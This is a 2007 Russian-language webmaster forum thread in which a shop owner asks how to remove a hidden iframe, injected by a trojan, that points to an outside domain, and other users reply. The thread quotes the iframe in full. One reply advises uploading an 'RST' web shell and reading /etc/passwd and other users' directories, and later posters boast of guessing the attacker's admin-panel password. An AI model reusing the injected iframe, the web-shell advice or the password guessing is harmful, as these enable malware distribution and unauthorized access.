Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB58.7570
BTC/USD0.0000
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 04.08.2007, 20:58   #1
xekcc
Юниор
 
Регистрация: 08.07.2007
Сообщений: 3
Бабло: $500
По умолчанию Словин троян и поломал сайт.

Код:
<iframe src='http://t-error.biz/traff/iframe.php?u=ammok' width='1' height='1' style='visibility: hidden;'></iframe>
Это код мне встраивается на морде. Об этом на СЕ.ру.
Поставил Касперский, удалил троян, удалил из нескольких файлов этот код, но при заходе на сайт код стоит на месте. Скачал все файлы шопа, вручную проверил каждый файл - кода нет. Че делать?

Последний раз редактировалось xekcc; 04.08.2007 в 21:01.
xekcc вне форума  
Старый 04.08.2007, 21:23   #2
analgin
Страдаю приступами необоснованных комментов.
 
Аватар для analgin
 
Регистрация: 07.06.2007
Адрес: Киев
Сообщений: 0
Бабло: $520
Отправить сообщение для analgin с помощью ICQ Отправить сообщение для analgin с помощью Skype™
По умолчанию

это называется кеш, знаешь что такое ? нет не деньги, контрл+ф5 тебе в помощь.
analgin вне форума  
Старый 04.08.2007, 21:26   #3
Nikola_N
$
 
Регистрация: 05.04.2007
Сообщений: 564
Бабло: $86815
По умолчанию

Цитата:
Сообщение от xekcc Посмотреть сообщение
Код:
<iframe src='http://t-error.biz/traff/iframe.php?u=ammok' width='1' height='1' style='visibility: hidden;'></iframe>
Это код мне встраивается на морде. Об этом на СЕ.ру.
Поставил Касперский, удалил троян, удалил из нескольких файлов этот код, но при заходе на сайт код стоит на месте. Скачал все файлы шопа, вручную проверил каждый файл - кода нет. Че делать?
уверен, что все файлы проверил? и как искал?
смени также доступ к фтп
Nikola_N вне форума  
Старый 04.08.2007, 22:48   #4
t3team
Юниор
 
Регистрация: 14.05.2007
Сообщений: 26
Бабло: $1640
По умолчанию

жалобу хостеру накатай и на домен. напиши мол у них там вирусы и занимаются распространением вирусов

Последний раз редактировалось t3team; 04.08.2007 в 22:51.
t3team вне форума  
Старый 04.08.2007, 23:21   #5
xekcc
Юниор
 
Регистрация: 08.07.2007
Сообщений: 3
Бабло: $500
ТС -->
автор темы ТС По умолчанию

2analgin, тоже самое.
2Nikola_N, открыл каждый файл в редакторе, ctrl+f. Пароль сменил.
2t3team, англ не знаю. Да и все равно нужно как-то удалить этот код.
xekcc вне форума  
Старый 04.08.2007, 23:50   #6
Gres
Senior Member
 
Регистрация: 12.07.2007
Сообщений: 678
Бабло: $80945
По умолчанию

1. проверь хостера - залей шелл от rst и попробуй прочитать /etc/passwd
если прочьтётся, - попробуй пройти по чужому пути /home/чужой_акк/public_html/ возможно стоит скрипт-автомат - фигачит ифрейм
2. поищи такой скрипт php у ся на акке
Gres вне форума  
Старый 06.08.2007, 21:09   #7
TritooN
Senior Member
 
Регистрация: 29.06.2007
Сообщений: 119
Бабло: $20820
По умолчанию

ох как не люблю ифреймщиков... такой х*ней занимаются, просто бесит (
__________________
$ Большие деньги любят тишину $
TritooN вне форума  
Старый 08.08.2007, 01:59   #8
drocher
Member
 
Аватар для drocher
 
Регистрация: 23.07.2007
Сообщений: 40
Бабло: $540
По умолчанию

админка, http://t-error.biz/traff/stat.php

пароль угадал с 3го раза
drocher вне форума  
Старый 08.08.2007, 02:32   #9
D007
саловер
 
Аватар для D007
 
Регистрация: 17.04.2007
Сообщений: 3,134
Бабло: $281165
Отправить сообщение для D007 с помощью ICQ
По умолчанию

с нами поделись, интересно
D007 вне форума  
Старый 08.08.2007, 03:15   #10
Sipler
Особый статус
 
Аватар для Sipler
 
Регистрация: 31.03.2007
Сообщений: 1,824
Бабло: $30550
По умолчанию

Блин,я с 5го
__________________
WapEmpire -
Sipler вне форума  
Закрытая тема



Опции темы
Опции просмотра